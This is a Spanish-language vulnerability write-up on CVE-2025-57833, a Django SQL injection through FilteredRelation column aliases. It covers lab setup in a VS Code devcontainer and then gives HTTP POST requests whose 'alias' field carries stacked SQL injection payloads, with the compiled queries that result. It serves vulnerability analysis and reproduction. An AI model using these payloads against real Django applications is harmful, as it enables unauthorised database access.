
Análisis y reproducción de CVE-2025-57833
Django ha publicado una vulnerabilidad de inyección SQL después de más de un año. A simple vista, parece que se trata de una inyección causada por los alias (ya que los alias no se pueden compilar previamente)
Esta vulnerabilidad afecta a la funcionalidad FilteredRelation del framework Django. Cuando se utilizan los métodos QuerySet.annotate() o QuerySet.alias(), y se proporcionan alias de columna mediante la expansión de diccionarios de Python (**kwargs), existe riesgo de inyección SQL. Esto se debe a que las claves del diccionario (es decir, los alias de columna) no se validan suficientemente, lo que permite a un atacante construir un diccionario malicioso para inyectar sentencias SQL sin restricciones.
El alcance de esta vulnerabilidad es:
Este proyecto de vulnerabilidad se construye utilizando el devcontainer de vscode.
1️⃣ Abrir el proyecto
Abra el directorio raíz del proyecto existente (que contiene la carpeta .devcontainer) con VS Code.
2️⃣ Reabrir el contenedor (construir Dev Container)
Pulse Ctrl+Shift+P (Windows/Linux) o Cmd+Shift+P (Mac)
Introduzca Remote-Containers: Reopen in Container
VS Code leerá la configuración de .devcontainer y construirá el contenedor (la primera construcción puede tardar unos minutos)
⚠️ Si el Dockerfile o las dependencias se han actualizado, puede seleccionar Remote-Containers: Rebuild Container para asegurarse de que se utiliza el entorno más reciente.
3️⃣ Ejecutar el servidor de desarrollo de Django
Abra la paleta de comandos Ctrl+Shift+P
Introduzca Tasks: Run Task
Seleccione django:start (la tarea ya está configurada en .vscode/tasks.json)
Esta tarea iniciará el servidor de desarrollo de Django dentro del contenedor
Por defecto escucha en 0.0.0.0:8085
4️⃣ Abrir el navegador para acceder al proyecto
Abra el navegador y visite:
5️⃣ Notas
Primera ejecución:
Puede ser necesario ejecutar la migración de la base de datos:
python manage.py migrate
Después de que el servidor se inicie, visite http://localhost:8085
Acceda a la interfaz /book/search y visite normalmente
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

En este momento, el SQL compilado internamente por el ORM de Django es
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
Se puede observar que se ha creado un alias XXX para la tabla vuln_author. Según el análisis del parche anterior, actualmente no se filtra XXX, por lo que se puede inyectar en él.
Si se utiliza directamente una inyección apilada, como la primera sentencia SQL no es válida, no se ejecutará la segunda sentencia.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Por lo tanto, primero es necesario hacer válida la primera sentencia. Dado que aquí se trata de una relación, se puede utilizar directamente la sintaxis using.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

En este punto la inyección se ha realizado correctamente. Se ha comprobado que el usuario de la base de datos es postgres. La sentencia SQL compilada internamente en este momento es
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0